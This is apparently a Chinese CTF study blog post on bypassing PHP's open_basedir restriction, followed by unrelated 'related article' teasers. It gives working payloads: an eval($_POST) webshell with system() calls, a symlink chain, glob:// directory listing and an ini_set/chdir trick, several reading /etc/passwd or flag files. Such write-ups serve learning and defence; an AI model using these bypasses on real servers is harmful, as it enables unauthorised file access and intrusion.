绕过 open_basedir
目录
0x01 首先了解什么是 open_basedir
0x02 通过命令执行绕过
0x03 通过symlink 绕过 (软连接)
0x04利用glob://绕过
方式1——DirectoryIterator+glob://
方式2——opendir()+readdir()+glob://
0x05 通过 ini_set和chdir来绕过
在ctfshow 72遇到的 open_basedir 所以进行学习
https://www.cnblogs.com/hookjoy/p/12846164.html#:~:text=%E5%8F%AA%E6%98%AF%E7%94%A8glob%3A,%E8%83%BD%E8%AF%BB%E5%8F%96%E6%96%87%E4%BB%B6%E5%86%85%E5%AE%B9%E3%80%82
上面是师傅的文章
我就跟着复现一下
0x01 首先了解什么是 open_basedir
open_basedir是php.ini的设置

在open_basedir设置路径的话 那么网站访问的时候 无法访问除了设置以外的内容
这里还有一个知识点
如果我们设置 open_basedir=/var/www/html那我们只能访问/var/www/html/index.php
/var/www/html/images/logo.png
/var/www/html/includes/config.php不能访问/var/www/otherfile.php(不在指定目录之下)
/var/www/html2/index.php(不是以指定路径为前缀)所以open_basedir并不是以目录名为 规定而是路径
我创建了一个test文件夹 存放着 1.php


那我设置open_basedir 指定 test
open_basedir =D:\phpstudy_pro\WWW\test
那我们看看能不能访问1.php

发现是ok的
那我们去访问一下 www的 flag.php呢

发现阻止了 并且我们无法访问其他目录 例如 sqli-labs

0x02 通过命令执行绕过
open_basedir对命令执行没有限制
假如没有进行过滤 那我们就可以通过system函数直接执行
我的1.php代码是
<?phpif(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
}?>
没有过滤 而且通过post方式
c=show_source(__FILE__);system('type D:\phpstudy_pro\WWW\flag.php');

成功绕过了 open_basedir
这里是适用于 没有对命令进行过滤
但是一般都难以使用 会被disable_functions 禁用
0x03 通过symlink 绕过 (软连接)
软连接我们在 ciscn的unzip有见识到就是linux的快捷方式我们可以通过软连接;链接其他文件 然后对其进行访问
这里还需要介绍symlink()函数
symlink(链接的目标,链接的名称)
我们来尝试一下
<?php
symlink("/root/.presage/","/root/桌面/exp");
?>
然后我们执行一下
php 2.php

发现真的生成了一个文件夹exp 并且就是指向了我们需要的目录

这里我们开始复现师傅的内容
mkdir
创建文件夹chdir
切换到某文件夹的工作区间

假如我们在/var/www/html/的3.php处
<?php
mkdir("A");
chdir("A");
mkdir("B");
chdir("B");
mkdir("C");
chdir("C");
mkdir("D");
chdir("D");
?>
执行

发现现在的路径变为了/var/www/html/A/B/C/D/
这个时候 我们已经进入了 D目录
我们需要退回 html界面就通过 ..即可
<?php
mkdir("A");
chdir("A");
mkdir("B");
chdir("B");
mkdir("C");
chdir("C");
mkdir("D");
chdir("D");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
?>
这个时候 就处于 var/www/html目录下
然后我们通过软连接链接 abcd
<?php
mkdir("A");
chdir("A");
mkdir("B");
chdir("B");
mkdir("C");
chdir("C");
mkdir("D");
chdir("D");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
symlink("A/B/C/D","7abc");
?>

这个时候 我们再建立
symlink("7abc/../../../../etc/passwd","exp");
的链接
但是这个我们是无法建立的 因为不存在这种软连接
但是我们只需要 删除 7abc的软连接 然后创建一个 7abc的文件夹
那么这样 就是
目录的7abc/../../../etc/passwd
这样就不会访问快捷方式的 而是当前目录的 然后访问exp

发现就是passwd里的内容了

这样我们就打破了 open_basedir的限制 访问了其他目录的内容
<?php
mkdir("A");
chdir("A");
mkdir("B");
chdir("B");
mkdir("C");
chdir("C");
mkdir("D");
chdir("D");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
symlink("A/B/C/D","7abc");
symlink("7abc/../../../../etc/passwd","exp");
unlink("7abc");
mkdir("7abc");
?>
这里payload的重点就是
我们想要跨越多少层就需要建立多少层的 目录然后通过软连接删除 生成文件夹 然后就可以通过当前文件夹 链接到该去的地方
0x04利用glob://绕过
照常 首先看看什么是 glob://协议
glob://协议 就是查找文件路径的模式是从 5.3开始使用的协议
利用师傅的 内容进行修改
<?php
$it = new DirectoryIterator("glob:///var/www/html/*.php");
foreach($it as $f) {printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024);
%s:字符串
%.1F 一位小数
%K 单位}
?>
打印一下 var/www/html的内容

发现生效了
但是如果只是单用 glob://无法绕过的
所以我们需要结合其他函数
方式1——DirectoryIterator+glob://
DirectoryIterator
就是一个接口 用户可以简单轻松的查看目录
<?php
$c=$_GET[c];
$a=new DirectoryIterator($c);
foreach($a as $f){echo($f->__toString().'<br>');
}
?>
然后我们输入 glob:///* 就可以列出根目录
但是 使用这个方法只能访问根目录和open_basedir受限的目录
所以对于 ctfshow web72 也可以使用这个方法访问根目录
c=?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f){echo($f->__toString().'<br>');
}exit();
?>

得到了flag的地址
回到这里
那我们就应该使用另一个方法
方式2——opendir()+readdir()+glob://
opendir()打开目录句柄readdir() 读取目录
<?php
$a = $_GET['c'];
if ( $b = opendir($a) ) {while ( ($file = readdir($b)) !== false ) {echo $file."<br>";}closedir($b);
}
?>
这里对于web72也可以使用
c=?><?php if ( $b = opendir("glob:///*") ) {while ( ($file = readdir($b)) !== false ) { echo $file."<br>";}closedir($b);}exit();

效果和 DirectoryIterator一样
只能根目录和限定目录
0x05 通过 ini_set和chdir来绕过
<?php
echo 'open_basedir: '.ini_get('open_basedir').'<br>';
echo 'GET: '.$_GET['c'].'<br>';
eval($_GET['c']);
echo 'open_basedir: '.ini_get('open_basedir');
?>

通过相对路径
mkdir('mi1k7ea');chdir('mi1k7ea');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents('/etc/passwd');
首先我们创建一个可以上下跳的目录
/var/www/html创建 mi1k7ea /var/www/html/mi1k7ea切换到当前目录 通过 chdir然后ini_set 设置 open_basedir为 ..那么这个时候 php.ini里的内容就为 ..
那我们进行切换工作目录chdir .. 返回上一个目录 即/var/www/html通过 open_basedir的比对 符合.. 那么就可以访问我们再来一次/var/www/var/
最后到/ 了 但是我们无法通过 / 去访问 因为 / != ..这个时候 我们再来一次 ini_set 设置为 / 这个时候 我们就可以访问 / 下的任何内容了
这里有一个需要注意如果我们的php文件在根目录即/var/www/html/那么就需要创建一个 目录来进行设置
即mkdir("123");chdir("123");ini_set("open_basedir","..");如果我们不在根目录
即/var/www/html/test/并且open_basedir为 /var/www/html/那么我们就不需要再创建一个目录来设置直接在test上操作即可即 ini_set("open_basedir","..");chdir("..");
到此 差不多就结束了
相关文章:
绕过 open_basedir
目录 0x01 首先了解什么是 open_basedir 0x02 通过命令执行绕过 0x03 通过symlink 绕过 (软连接) 0x04利用glob://绕过 方式1——DirectoryIteratorglob:// 方式2——opendir()readdir()glob:// 0x05 通过 ini_set和chdir来绕过 在ctfshow 72遇到…...
如何使用SpringBoot 自定义转换器
😀前言 本篇博文是关于SpringBoot 自定义转换器的使用,希望你能够喜欢😊 🏠个人主页:晨犀主页 🧑个人简介:大家好,我是晨犀,希望我的文章可以帮助到大家,您的…...
多线程(进阶)
一、常见的锁策略 1.1读写锁 多线程之间,数据的读取方之间不会产生线程安全问题,但数据的写入方互相之间以及和读者之间都需 要进行互斥。如果两种场景下都用同一个锁,就会产生极大的性能损耗。所以读写锁因此而产生。 读写锁(r…...
端口输入的数据为什么要打拍?
一次作者在开发图像时候,对输入的图像没有打拍,直接输出给显示终端,时好时坏,或者图像颜色不正确,最终经过打拍解决了此问题。 //配置为16-Bit SDR ITU-R BT.656模式时pixel_data[23:16]为高阻。always (posedge pixe…...
Qt读写Excel--QXlsx编译为静态库2
1、概述🥔 在使用QXlsx时由于源码文件比较多,如果直接加载进项目里面,会增加每次编译的时间; 直接将源码加载进项目工程中,会导致项目文件非常多,结构变得更加臃肿; 所以在本文中将会将QXlsx编译…...
win11电脑查找已连接打印机ip的方法
此方法适用于驱动打印机,windows 11操作系统。 方法一:直接查看法 首先大家可以看看自己的打印机有没有lcd屏幕。有些直接在屏幕显示ip;另一种进入菜单,然后可以在里面的选项中显示“ip地址”。 方法二:设置中查看 …...
测试开发探索:“WeTalk“网页聊天室的测试流程与自动化
目录 引言: 测试开发目标: "WeTalk"项目背景 关于登录测试用例的设计 测试开发策略与流程 集成测试:Selenium JUnit 接口测试:Postman 测试用例的设计与实现 自动化测试演示: 用例一:登…...
图片增强组件实现
设计并实现了一个图片增强的组件,具体功能如下: 图片数据增强,包括且不限于:图片旋转、比例增强、高斯噪声、饱和度变换等若图片包含对应标注boundingbox,也支持对应变换,保证圈选内容的不变性实现多种方式…...
go.sum are different when using go mod vendor/download
本地Golang配置 今天本地编译一个项目,遇到以下错误 PS D:\Code\Golang\jiankunking\k8s-ext> go mod tidy go: downloading github.com/huaweicloud/huaweicloud-sdk-go-obs v3.23.4incompatible verifying github.com/gin-gonic/ginv1.7.3: checksum mismat…...
Docker技术入门教程
Docker技术入门教程 一、docker概念 一款产品从开发到上线,从操作系统,到运行环境,再到应用配置。作为开发运维之间的协作我们需要关心很多东西,这也是很多互联网公司都不得不面对的问题,特别是各种版本的迭代之后&a…...
Vue2-组件,组件的使用及注意点,组件嵌套,VueComponent构造函数,单文件组件
🥔:功不唐捐 更多Vue知识请点击——Vue.js VUE-Day5 组件与使用组件的三大步1、定义组件(创建组件)2、注册组件①局部注册②全局注册 3、使用组件小案例: 使用组件的一些注意点1.关于组件名2.关于组件标签3.一个简写方式 组件的嵌套VueCompon…...
IntelliJ IDEA Bookmark使用
1 增加 右键行号栏 2 查看 从favorite这里查看 参考IntelliJ IDEA 小技巧:Bookmark(书签)的使用_bookmark idea 使用_大唐冠军侯的博客-CSDN博客...
kriging-contour前端克里金插值
先看效果: 本项目在kriging-contour插件基础上进行了封装,增加了自定义区域插值,gitbub地址。...
第八章 CUDA内存应用与性能优化篇(中篇)
cuda教程目录 第一章 指针篇 第二章 CUDA原理篇 第三章 CUDA编译器环境配置篇 第四章 kernel函数基础篇 第五章 kernel索引(index)篇 第六章 kenel矩阵计算实战篇 第七章 kenel实战强化篇 第八章 CUDA内存应用与性能优化篇 第九章 CUDA原子(atomic)实战篇 第十章 CUDA流(strea…...
适用于物联网 (IoT)的远距离、低功耗、低速率WiFi—Wi-Fi HaLow
1. Wi-Fi 简介 Wi-Fi(Wireless Fidelity)是目前较为常见的无线通信方式,承载着一半以上的互联网流量。Wi-Fi是一个总称,涵盖了802.11通信协议系列,由Wi-Fi联盟持有并推动其发展。802.11通信协议发展至今已逾二十年&am…...
【解读Spikingjelly】使用单层全连接SNN识别MNIST
原文档:使用单层全连接SNN识别MNIST — spikingjelly alpha 文档 代码地址:完整的代码位于activation_based.examples.lif_fc_mnist.py GitHub - fangwei123456/spikingjelly: SpikingJelly is an open-source deep learning framework for Spiking Neur…...
穿越数字奇境:探寻元宇宙中的科技奇迹
随着科技的迅速发展,元宇宙正逐渐成为一个备受关注的话题,它不仅是虚拟现实的延伸,更是将现实世界与数字世界融合的未来典范。在这个神秘而充满活力的数字奇境中,涉及了众多领域和技术,为我们呈现出了一个无限的创新和…...
2024」预备研究生mem-阴影图形
一、阴影图形 二、课后题...
【设计模式】责任链模式
顾名思义,责任链模式(Chain of Responsibility Pattern)为请求创建了一个接收者对象的链。这种模式给予请求的类型,对请求的发送者和接收者进行解耦。这种类型的设计模式属于行为型模式。 在这种模式中,通常每个接收者…...
解密人工智能:线性回归 | 逻辑回归 | SVM
文章目录 1、机器学习算法简介1.1 机器学习算法包含的两个步骤1.2 机器学习算法的分类 2、线性回归算法2.1 线性回归的假设是什么?2.2 如何确定线性回归模型的拟合优度?2.3 如何处理线性回归中的异常值? 3、逻辑回归算法3.1 什么是逻辑函数?…...
业务系统对接大模型的基础方案:架构设计与关键步骤
业务系统对接大模型:架构设计与关键步骤 在当今数字化转型的浪潮中,大语言模型(LLM)已成为企业提升业务效率和创新能力的关键技术之一。将大模型集成到业务系统中,不仅可以优化用户体验,还能为业务决策提供…...
【Linux】shell脚本忽略错误继续执行
在 shell 脚本中,可以使用 set -e 命令来设置脚本在遇到错误时退出执行。如果你希望脚本忽略错误并继续执行,可以在脚本开头添加 set e 命令来取消该设置。 举例1 #!/bin/bash# 取消 set -e 的设置 set e# 执行命令,并忽略错误 rm somefile…...
前端导出带有合并单元格的列表
// 导出async function exportExcel(fileName "共识调整.xlsx") {// 所有数据const exportData await getAllMainData();// 表头内容let fitstTitleList [];const secondTitleList [];allColumns.value.forEach(column > {if (!column.children) {fitstTitleL…...
Qt Http Server模块功能及架构
Qt Http Server 是 Qt 6.0 中引入的一个新模块,它提供了一个轻量级的 HTTP 服务器实现,主要用于构建基于 HTTP 的应用程序和服务。 功能介绍: 主要功能 HTTP服务器功能: 支持 HTTP/1.1 协议 简单的请求/响应处理模型 支持 GET…...
爬虫基础学习day2
# 爬虫设计领域 工商:企查查、天眼查短视频:抖音、快手、西瓜 ---> 飞瓜电商:京东、淘宝、聚美优品、亚马逊 ---> 分析店铺经营决策标题、排名航空:抓取所有航空公司价格 ---> 去哪儿自媒体:采集自媒体数据进…...
C++ Visual Studio 2017厂商给的源码没有.sln文件 易兆微芯片下载工具加开机动画下载。
1.先用Visual Studio 2017打开Yichip YC31xx loader.vcxproj,再用Visual Studio 2022打开。再保侟就有.sln文件了。 易兆微芯片下载工具加开机动画下载 ExtraDownloadFile1Info.\logo.bin|0|0|10D2000|0 MFC应用兼容CMD 在BOOL CYichipYC31xxloaderDlg::OnIni…...
智能分布式爬虫的数据处理流水线优化:基于深度强化学习的数据质量控制
在数字化浪潮席卷全球的今天,数据已成为企业和研究机构的核心资产。智能分布式爬虫作为高效的数据采集工具,在大规模数据获取中发挥着关键作用。然而,传统的数据处理流水线在面对复杂多变的网络环境和海量异构数据时,常出现数据质…...
DeepSeek 技术赋能无人农场协同作业:用 AI 重构农田管理 “神经网”
目录 一、引言二、DeepSeek 技术大揭秘2.1 核心架构解析2.2 关键技术剖析 三、智能农业无人农场协同作业现状3.1 发展现状概述3.2 协同作业模式介绍 四、DeepSeek 的 “农场奇妙游”4.1 数据处理与分析4.2 作物生长监测与预测4.3 病虫害防治4.4 农机协同作业调度 五、实际案例大…...
听写流程自动化实践,轻量级教育辅助
随着智能教育工具的发展,越来越多的传统学习方式正在被数字化、自动化所优化。听写作为语文、英语等学科中重要的基础训练形式,也迎来了更高效的解决方案。 这是一款轻量但功能强大的听写辅助工具。它是基于本地词库与可选在线语音引擎构建,…...
【生成模型】视频生成论文调研
工作清单 上游应用方向:控制、速度、时长、高动态、多主体驱动 类型工作基础模型WAN / WAN-VACE / HunyuanVideo控制条件轨迹控制ATI~镜头控制ReCamMaster~多主体驱动Phantom~音频驱动Let Them Talk: Audio-Driven Multi-Person Conversational Video Generation速…...
